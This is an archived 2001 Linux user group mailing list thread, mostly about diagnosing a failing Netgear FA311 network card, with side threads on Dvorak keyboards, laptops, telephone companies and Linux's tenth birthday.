mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From JMiller2 at dainrauscher.com Sun Aug 12 18:01:03 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3941D6272@MAIL4.corp.isib.net> Yes I have two cards. I thought of that and called AT&T (isp) and asked which card was registered for connection. It was eth0. Is there a way to bring up eth0 with an internal address so I can try to ping another computer. I tried to bring it up by issuing ifconfig eth0 192.168.0.4 up This address belongs to another box this is currently down. I decided to try that address because it was already set up in the /etc/hosts file. I brought down the eth1 card and tried to ping 192.168.0.2 which is my windows box. eth1 could ping it, no luck on the eth0 John Miller -----Original Message----- From: Eric Stanley [mailto:barnabas@knicknack.net] Sent: Sunday, August 12, 2001 5:43 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card It looks like you have two cards -- are they the same kind of card? If so, it is possible that the BIOS switched them around so that what was eth0 is now eth1 and vice versa. Might that be the case? Eric On Sun, Aug 12, 2001 at 05:34:43PM -0500, Miller, John wrote: > I wrote earlier this week about my mb dying. After further trials, it > still lives. I took the system apart so I could get to the connector > better and plugged it in and it worked. The ps died. > > Now I have my system reassembled and the NIC that I use to connect to > the internet seems not to be working. Drivers for both cards are > loaded. /proc/pci lists them both When I plug the cable in, the link > light comes on on the back of the card but does not light up the hub. I > have swap the the cord on the hub, nothing. When I bring eth0 up with > ifconfig eth0 up, I get all the information. > > The card is a netgear FA311. It has served me well. > > Anyone have any ideas, > > TIA > > John Miller > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From barnabas at knicknack.net Sun Aug 12 18:16:06 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6272@MAIL4.corp.isib.net>; from JMiller2@dainrauscher.com on Sun, Aug 12, 2001 at 06:01:03PM -0500 References: <5F82C717009DF446AD6C89008A29F3941D6272@MAIL4.corp.isib.net> Message-ID: <20010812181606.B22352@knicknack.net> If I understand what you were trying to do, your routing probably prevented that from working (unless, of course, you changed). What you could do is leave both cards up, put them both on your internal network and try pinging the eth0 address (192.168.0.4) from your windows box. I think that even if all traffic for your internal network is routed through eth1, pinging the eth0 card will work in this case. Someone correct me if I'm wrong. The other thing you could try is to change the routing so that traffic for your internal network routes through eth0. Then the ping test to 192.168.0.4 should work. HTH, Eric On Sun, Aug 12, 2001 at 06:01:03PM -0500, Miller, John wrote: > Yes I have two cards. I thought of that and called AT&T (isp) and asked > which card was registered for connection. It was eth0. > > Is there a way to bring up eth0 with an internal address so I can try to > ping another computer. I tried to bring it up by issuing > > ifconfig eth0 192.168.0.4 up > > This address belongs to another box this is currently down. I decided > to try that address because it was already set up in the /etc/hosts > file. I brought down the eth1 card and tried to ping 192.168.0.2 which > is my windows box. eth1 could ping it, no luck on the eth0 > > John Miller > > -----Original Message----- > From: Eric Stanley [mailto:barnabas@knicknack.net] > Sent: Sunday, August 12, 2001 5:43 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] NIC Card > > > It looks like you have two cards -- are they the same kind of card? > If so, it is possible that the BIOS switched them around so that what > was eth0 is now eth1 and vice versa. Might that be the case? > > Eric > > On Sun, Aug 12, 2001 at 05:34:43PM -0500, Miller, John wrote: > > I wrote earlier this week about my mb dying. After further trials, it > > still lives. I took the system apart so I could get to the connector > > better and plugged it in and it worked. The ps died. > > > > Now I have my system reassembled and the NIC that I use to connect to > > the internet seems not to be working. Drivers for both cards are > > loaded. /proc/pci lists them both When I plug the cable in, the link > > light comes on on the back of the card but does not light up the hub. > I > > have swap the the cord on the hub, nothing. When I bring eth0 up with > > ifconfig eth0 up, I get all the information. > > > > The card is a netgear FA311. It has served me well. > > > > Anyone have any ideas, > > > > TIA > > > > John Miller > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From JMiller2 at dainrauscher.com Sun Aug 12 18:46:09 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3940164AC5F@MAIL4.corp.isib.net> Well I tried that. If we back up a bit, if eth0 is connect to a hub, should not the hub light be lit. That is not happening. When eth1 is connected to the hub, the hub light lights. Now the "link" light lights on the nic when a cable is plugged into it. It is not the cable, because I am using the same cable for both testing eth1 and eth0. Any other thoughts? John Miller -----Original Message----- From: Eric Stanley [mailto:barnabas@knicknack.net] Sent: Sunday, August 12, 2001 6:16 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card If I understand what you were trying to do, your routing probably prevented that from working (unless, of course, you changed). What you could do is leave both cards up, put them both on your internal network and try pinging the eth0 address (192.168.0.4) from your windows box. I think that even if all traffic for your internal network is routed through eth1, pinging the eth0 card will work in this case. Someone correct me if I'm wrong. The other thing you could try is to change the routing so that traffic for your internal network routes through eth0. Then the ping test to 192.168.0.4 should work. HTH, Eric On Sun, Aug 12, 2001 at 06:01:03PM -0500, Miller, John wrote: > Yes I have two cards. I thought of that and called AT&T (isp) and asked > which card was registered for connection. It was eth0. > > Is there a way to bring up eth0 with an internal address so I can try to > ping another computer. I tried to bring it up by issuing > > ifconfig eth0 192.168.0.4 up > > This address belongs to another box this is currently down. I decided > to try that address because it was already set up in the /etc/hosts > file. I brought down the eth1 card and tried to ping 192.168.0.2 which > is my windows box. eth1 could ping it, no luck on the eth0 > > John Miller > > -----Original Message----- > From: Eric Stanley [mailto:barnabas@knicknack.net] > Sent: Sunday, August 12, 2001 5:43 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] NIC Card > > > It looks like you have two cards -- are they the same kind of card? > If so, it is possible that the BIOS switched them around so that what > was eth0 is now eth1 and vice versa. Might that be the case? > > Eric > > On Sun, Aug 12, 2001 at 05:34:43PM -0500, Miller, John wrote: > > I wrote earlier this week about my mb dying. After further trials, it > > still lives. I took the system apart so I could get to the connector > > better and plugged it in and it worked. The ps died. > > > > Now I have my system reassembled and the NIC that I use to connect to > > the internet seems not to be working. Drivers for both cards are > > loaded. /proc/pci lists them both When I plug the cable in, the link > > light comes on on the back of the card but does not light up the hub. > I > > have swap the the cord on the hub, nothing. When I bring eth0 up with > > ifconfig eth0 up, I get all the information. > > > > The card is a netgear FA311. It has served me well. > > > > Anyone have any ideas, > > > > TIA > > > > John Miller > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From MAJensen222 at aol.com Sun Aug 12 18:58:20 2001 From: MAJensen222 at aol.com (MAJensen222@aol.com) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card Message-ID: <5b.1a26093a.28a8721c@aol.com> Ive had the same problem with the same card on one of my computers. I had to claen the contacts in the connector and it seems to work fine now. ********************************************************************* Mark A Jensen *********************************************************************** -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010812/c06360ec/attachment.htm From JMiller2 at dainrauscher.com Sun Aug 12 20:13:06 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3940164AC60@MAIL4.corp.isib.net> I cleaned the contacts that connect to the bus with an eraser. If you are talking about the contacts in the female side of the plug, how did you clean them. Further information: when connected to the modem, I can see the pc-link light blink a couple of times. The modem is the older 3com cable modems not the one that looks like a shark fin. John Miller -----Original Message----- From: MAJensen222@aol.com [mailto:MAJensen222@aol.com] Sent: Sunday, August 12, 2001 6:58 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card Ive had the same problem with the same card on one of my computers. I had to claen the contacts in the connector and it seems to work fine now. ********************************************************************* Mark A Jensen *********************************************************************** -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010812/24eea162/attachment.html From blayer at qwest.net Sun Aug 12 20:36:32 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card In-Reply-To: <5F82C717009DF446AD6C89008A29F3940164AC5F@MAIL4.corp.isib.net> References: <5F82C717009DF446AD6C89008A29F3940164AC5F@MAIL4.corp.isib.net> Message-ID: <20010812203632.55020c2f.blayer@qwest.net> On Sun, 12 Aug 2001 18:46:09 -0500 "Miller, John" wrote: > Well I tried that. If we back up a bit, if eth0 is connect to a hub, > should not the hub light be lit. Yes.. unless that hub link LED is on, all bets are off for communication. It sounds like the card & hub are unable to negotiate a speed setting - I've seen that before. Sometimes the particular combination of card(s) and hub (or switch) will create negotiation issues. Oddly enough, the last time I saw a negotiation problem, it was between a Netgear 10/100 switch and a Netgear PCI NIC. The Netgear parts would negotiate if they were alone, but when the switch was daisy-chained to an second SMC 10baseT hub, they could not get along. However, I swapped in an Intel Pro/100 for the Netgear NIC, and all worked fine. In any event, until you see a link LED on both ends of the wire, don't even waste your time with drivers, etc. Until that phyical layer is happy, nothing else will work. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From JMiller2 at dainrauscher.com Sun Aug 12 21:39:13 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3941D6273@MAIL4.corp.isib.net> ok the question is how do I make the physical layer happy. Could the nic be shot? I feel that everything is ok. I can plug in the other card (eth1) and the light on the modem light comes on. Plug in eth0 and the light goes out. Same senario for the hub. John Miller -----Original Message----- From: Bill Layer [mailto:blayer@qwest.net] Sent: Sunday, August 12, 2001 8:37 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card On Sun, 12 Aug 2001 18:46:09 -0500 "Miller, John" wrote: > Well I tried that. If we back up a bit, if eth0 is connect to a hub, > should not the hub light be lit. Yes.. unless that hub link LED is on, all bets are off for communication. It sounds like the card & hub are unable to negotiate a speed setting - I've seen that before. Sometimes the particular combination of card(s) and hub (or switch) will create negotiation issues. Oddly enough, the last time I saw a negotiation problem, it was between a Netgear 10/100 switch and a Netgear PCI NIC. The Netgear parts would negotiate if they were alone, but when the switch was daisy-chained to an second SMC 10baseT hub, they could not get along. However, I swapped in an Intel Pro/100 for the Netgear NIC, and all worked fine. In any event, until you see a link LED on both ends of the wire, don't even waste your time with drivers, etc. Until that phyical layer is happy, nothing else will work. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From kremer at ringworld.org Sun Aug 12 21:42:35 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] Dvorak KB In-Reply-To: <20010811232503.2a1f88a7.blayer@qwest.net> Message-ID: On Sat, 11 Aug 2001, Bill Layer wrote: > Is it possible to just pull & re-arrange keycaps from a QWERTY kb and make > a Dvorak kb? Yes, it is very possible to do that operation... the problem I ran into when trying is that some keyboards have different slopes on different rows of keys. you have to find a keyboard that has the same slope on all of the rows of keys. I have found Compaq's keyboards to be rather receptive to the operation. The other issue is that the F and J keys' connectors tend to be keyed 90 degrees off from the other keys...so i ended up having 4 taped keys (used masking tape to change what they key says on it) on any dvorak keyboards around here. I actually took one to work, too...annoyed the hell outta my co-workers whenever they happened to need to use that computer. - Justin From hick0088 at tc.umn.edu Sun Aug 12 23:11:22 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] Dvorak KB In-Reply-To: References: <20010811232503.2a1f88a7.blayer@qwest.net> Message-ID: <20010812231122.7ef0e7ba.hick0088@tc.umn.edu> Justin Kremer wrote: > > I actually took one to work, too...annoyed the hell outta my > co-workers whenever they happened to need to use that computer. Heh, yeah, it's a cheap extra security mechanism. Every once in a while, I wonder why my computer isn't used more by my roommates and guests we have in our apartment, and then I remember... -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ A conscience is what / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ hurts when all your \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) other parts feel so good. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010812/0bdcf8db/attachment.pgp From hick0088 at tc.umn.edu Sun Aug 12 23:26:56 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6273@MAIL4.corp.isib.net> References: <5F82C717009DF446AD6C89008A29F3941D6273@MAIL4.corp.isib.net> Message-ID: <20010812232656.069fa998.hick0088@tc.umn.edu> "Miller, John" wrote: > > ok the question is how do I make the physical layer happy. Could the > nic be shot? I feel that everything is ok. I can plug in the other > card (eth1) and the light on the modem light comes on. Plug in eth0 and > the light goes out. Same senario for the hub. It's possible the card died. After a nearby lightning strike a few months ago, we had a card that seemed to work just fine except that it couldn't communicate with the hub (the transciever must have gotten knocked out). If, as Bill said, your card is having negotiation problems, you might try to hunt down some diagnostic tools. I know Donald Becker wrote some tools for 3Com cards (mii-diag.c, vortex-diag.c -- Highly recommended). I was using them to shame our network admin at work into finally bringing one of our server ports up to 100Mbit ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ God speed, fair wizard. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010812/63b2eec5/attachment.pgp From dieman+tclug at ringworld.org Sun Aug 12 23:30:44 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] HORSE CARCASS FLOGGING In-Reply-To: <001401c1210e$f1e37900$3028680a@tgt.com> References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> <005801c120d5$437d1bc0$3028680a@tgt.com> <20010809090118.A2453@candle.mn.mediaone.net> <009a01c120de$ed5f5140$3028680a@tgt.com> <20010809100103.C2453@candle.mn.mediaone.net> <001401c1210e$f1e37900$3028680a@tgt.com> Message-ID: <20010812233044.F10261@ringworld.org> * Thomas T. Veldhouse [010809 15:10]: > > Common knowledge isn't fact. Isn't it common knowledge that you get > > cramps if you swim after eating? Inbreeding is common in Arkansas? > Flame away -- you are good at it. I certainly won't argue with you anymore > about this. Both of you need to take a pill. A) yes, they are allowed "At your own risk" B) Good luck to get support to say 'yes, sure you can' Can you just like. stop this? -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Sun Aug 12 23:33:57 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Telco that doesn't suck? In-Reply-To: <20010811032759.C939@real-time.com> References: <20010811032759.C939@real-time.com> Message-ID: <20010812233356.G10261@ringworld.org> * Bob Tanner [010811 03:33]: > Ok, most (all?) of us know Qwest sucks. Most of us know McLeod sucks. I've > worked with PacBell and I have to say they suck. One of my friends has been doing stuff through KMC locally. Zibby's got a line via Norlight. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From lbehrens at boolion.com Sun Aug 12 23:32:09 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Linux/Win laptop Message-ID: >I'm in the market for a laptop, preferably an Athlon, from a company >that'll either preinstall both Windows and Linux on it, or one that will >give me an actual copy of Windows so I can repartition and install them >both. Any suggestions on who to talk to? I bought a Dell a few months ago (P3, not Athlon). Anyway, you get disks for everything..... and the first thing I did was wipe everything and reload the machine for scratch. One of the CDs you get includes ALL the Windows drivers for the machine, so reloading was pretty painless. (Based on various experiences my friends and I have had, Dell is pretty unique in this area.) Also, their web site is one of the best when it comes to driver updates. I have not run Linux natively on the machine myself (using VMWare), but at the time I was shopping around, Dell was still offering Linux as an OS choice. So, Linux should be fine with the hardware. Lee Behrens From veldy at veldy.net Mon Aug 13 00:08:20 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card References: <5F82C717009DF446AD6C89008A29F3941D6271@MAIL4.corp.isib.net> Message-ID: <00fc01c123b5$f81a9930$0101a8c0@cascade> Take each card out of the machine. Put one back into the machine, make sure it is seated correctly, and boot. See if it works. Take it out and put in the other card, again making sure it is seated correctly. Boot again and see if it works. Chances are either both cards are not playing friendly with each other (both busmaster or something?), or one was not seated well in the PCI slot. Try using different slots and see how you do. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Miller, John" To: Sent: Sunday, August 12, 2001 5:34 PM Subject: [TCLUG] NIC Card > I wrote earlier this week about my mb dying. After further trials, it > still lives. I took the system apart so I could get to the connector > better and plugged it in and it worked. The ps died. > > Now I have my system reassembled and the NIC that I use to connect to > the internet seems not to be working. Drivers for both cards are > loaded. /proc/pci lists them both When I plug the cable in, the link > light comes on on the back of the card but does not light up the hub. I > have swap the the cord on the hub, nothing. When I bring eth0 up with > ifconfig eth0 up, I get all the information. > > The card is a netgear FA311. It has served me well. > > Anyone have any ideas, > > TIA > > John Miller > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Mon Aug 13 00:12:28 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card References: <5F82C717009DF446AD6C89008A29F3941D6271@MAIL4.corp.isib.net> Message-ID: <010901c123b6$8be75c20$0101a8c0@cascade> You wrote earlier that you swapped power supplies and your board didn't work, but now you say it is a power supply that was causing you trouble. No offense intended, but did you REALLY swap cables as well, or are you assuming your cables are fine without swapping them? Try a new cable. Try reseating your cards and try a different PCI slot. Try a different port on the hub. Make all these changes one at a time, so you know what change caused the problem to go away if it does. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Miller, John" To: Sent: Sunday, August 12, 2001 5:34 PM Subject: [TCLUG] NIC Card > I wrote earlier this week about my mb dying. After further trials, it > still lives. I took the system apart so I could get to the connector > better and plugged it in and it worked. The ps died. > > Now I have my system reassembled and the NIC that I use to connect to > the internet seems not to be working. Drivers for both cards are > loaded. /proc/pci lists them both When I plug the cable in, the link > light comes on on the back of the card but does not light up the hub. I > have swap the the cord on the hub, nothing. When I bring eth0 up with > ifconfig eth0 up, I get all the information. > > The card is a netgear FA311. It has served me well. > > Anyone have any ideas, > > TIA > > John Miller > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blayer at qwest.net Mon Aug 13 02:05:00 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6273@MAIL4.corp.isib.net> References: <5F82C717009DF446AD6C89008A29F3941D6273@MAIL4.corp.isib.net> Message-ID: <20010813020500.6c32868e.blayer@qwest.net> On Sun, 12 Aug 2001 21:39:13 -0500 "Miller, John" wrote: > ok the question is how do I make the physical layer happy. Get the hardware squared away. >Could the nic be shot? Based on my interpretation of what you have said so far, I think that is a reasonable assumption. Sub in a known good part to prove it - right or wrong... I believe you have two NICs of the same model? It might be interesting to try them as individuals.. -.bill.layer.- -.hi, how are you? I send you this email to troubleshoot your network.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Mon Aug 13 02:07:53 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Code Red III In-Reply-To: <01a401c121d6$00161650$0a00a8c0@wolfnetrb> References: <01a401c121d6$00161650$0a00a8c0@wolfnetrb> Message-ID: <20010813020753.4f95b5e5.blayer@qwest.net> On Fri, 10 Aug 2001 14:52:34 -0500 "Ryan Bethke" wrote: Ryan - any realtion to a Becky Bethke that I knew from the BBS scene, long ago..? She had an Osbourne (?) deaktop machine in the early 80's... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Mon Aug 13 02:12:19 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Oops - apology Message-ID: <20010813021219.5d10cd89.blayer@qwest.net> I apologize for that last email to Ryan; it was supposed to go to him privately. Another documented case of 'premature send'. Also, I'd like to apologize for this message in general, and offer my most sincere condolences if it has, in any way, abused you of bandwidth, or taken more than it's allotted share of unused bits in your client's Inbox. Pardon, -.bill.layer.- -.Hi, how are you? I send you this apology to add interia to your inbox.- -.frogtown.- -.minnesota.- -.u.s.a.- From webmaster at aardvarko.com Mon Aug 13 03:08:45 2001 From: webmaster at aardvarko.com (aardvarko) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Shared partions (OT) In-Reply-To: <200108121417.f7CEHvI18155@mnmai05.mn.mediaone.net> Message-ID: > Linux has no problem reading and wrighting a windows partition, it get's > mounted lust like a cd-rom. That typo could be ... badly misinterpreted. ;-) -- -aardvarko http://aardvarko.com webmaster at aardvarko dot com > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Matthew LaBerge > Sent: Sunday, August 12, 2001 8:22 > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Shared partions From JMiller2 at dainrauscher.com Mon Aug 13 06:32:36 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3941D6274@MAIL4.corp.isib.net> Thank you for all your suggestions. No offense taken, you would have to go far to offend me. :-) I have tried all of them, one at a time. I am not sure what the deal with the ps was except that I tested the power supply with the mobo in the box and everything connected to it. I pulled out an old mobo and retested the ps again and found one that worked. The original one is dead. Once I pulled all the cables out of the box and had unrestriced access to the plugs, I was better able to get things plugged in and everything worked. My guess is that I didn't have the powercables correctly seated. I do know that when plugging them in that the black wires go together. Thanks John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: Thomas T. Veldhouse [mailto:veldy@veldy.net] Sent: Monday, August 13, 2001 12:12 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card You wrote earlier that you swapped power supplies and your board didn't work, but now you say it is a power supply that was causing you trouble. No offense intended, but did you REALLY swap cables as well, or are you assuming your cables are fine without swapping them? Try a new cable. Try reseating your cards and try a different PCI slot. Try a different port on the hub. Make all these changes one at a time, so you know what change caused the problem to go away if it does. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Miller, John" To: Sent: Sunday, August 12, 2001 5:34 PM Subject: [TCLUG] NIC Card > I wrote earlier this week about my mb dying. After further trials, it > still lives. I took the system apart so I could get to the connector > better and plugged it in and it worked. The ps died. > > Now I have my system reassembled and the NIC that I use to connect to > the internet seems not to be working. Drivers for both cards are > loaded. /proc/pci lists them both When I plug the cable in, the link > light comes on on the back of the card but does not light up the hub. I > have swap the the cord on the hub, nothing. When I bring eth0 up with > ifconfig eth0 up, I get all the information. > > The card is a netgear FA311. It has served me well. > > Anyone have any ideas, > > TIA > > John Miller > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From JMiller2 at dainrauscher.com Mon Aug 13 06:36:56 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3941D6275@MAIL4.corp.isib.net> I have two cards (not the same brand). I took them and swapped them, same result. I looked at the /proc/pci file and the don't look like they are in contention. When I get home I will take them both out and put them in as you suggest and see what happens. Thanks for the ideas. John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: Thomas T. Veldhouse [mailto:veldy@veldy.net] Sent: Monday, August 13, 2001 12:08 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] NIC Card Take each card out of the machine. Put one back into the machine, make sure it is seated correctly, and boot. See if it works. Take it out and put in the other card, again making sure it is seated correctly. Boot again and see if it works. Chances are either both cards are not playing friendly with each other (both busmaster or something?), or one was not seated well in the PCI slot. Try using different slots and see how you do. Tom Veldhouse veldy@veldy.net tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From kent at structural-wood.com Mon Aug 13 08:46:31 2001 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] NIC Card References: <5F82C717009DF446AD6C89008A29F3941D6275@MAIL4.corp.isib.net> Message-ID: <3B77DA37.3F31F405@structural-wood.com> "Miller, John" wrote: > > I have two cards (not the same brand). I took them and swapped them, > same result. I looked at the /proc/pci file and the don't look like > they are in contention. When I get home I will take them both out and > put them in as you suggest and see what happens. > > Thanks for the ideas. > One more idea (and one that I've had to use occasionally). After all the startup files have finished running, and your system is stable, try ifdown'ing the interface, rmmoding the driver (fa311?), waiting 10 seconds, then modprobing the driver and ifup'ing it. Kent From florin at iucha.net Mon Aug 13 09:02:02 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] any super beer meeting for August 25? Message-ID: <20010813090202.A3766@beaver.iucha.org> Linux turns 10. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From jacque at fruitioninc.com Mon Aug 13 10:09:46 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] any super beer meeting for August 25? In-Reply-To: <20010813090202.A3766@beaver.iucha.org> Message-ID: linux isn't old enought to drink yet. > Linux turns 10. > > florin > From lxy at cloudnet.com Mon Aug 13 10:19:54 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Shared partions (OT) In-Reply-To: Message-ID: On Mon, 13 Aug 2001, aardvarko wrote: > > Linux has no problem reading and wrighting a windows partition, it get's > > mounted lust like a cd-rom. > > That typo could be ... badly misinterpreted. ;-) It's ok... I think everyone on this list has lusted over their CDROM from time to time. It happens. I also like the term "Wrighting", as in "making a wrong (FAT) into a right (ext2)". -Brian From dd-b at dd-b.net Mon Aug 13 10:22:15 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <20010807105851.A12783@thor> References: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange> <20010807105851.A12783@thor> Message-ID: Spencer J Sinn writes: > Making changes or modifications to anyones machine without their express > consent is illegal. Setting up an auto-mailer to contact the webmaster > is not a bad idea. That is until their mail spools fill up from the > auto-responders. The best cure is for people to take responsibility for > their systems. I agree with your legal analysis. It's my experience, however, that the standard email addresses are usually not functioning on systems that I have problems I need to report. Taking responsibility is certainly what is necessary; the problem is that currently there is no consequence for *NOT* taking responsibility. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From lxy at cloudnet.com Mon Aug 13 10:26:48 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:08 2005 Subject: [TCLUG] any super beer meeting for August 25? In-Reply-To: <20010813090202.A3766@beaver.iucha.org> Message-ID: On Mon, 13 Aug 2001, Florin Iucha wrote: > Linux turns 10. Where did this suddenly come from that Linux's birthday is on Aug 25? I noticed the /. story last night about it to. According to a /. story posted either last year or the year before, Linux's birthday is Sept 17. I have a sneaky feeling that the official celebration is on 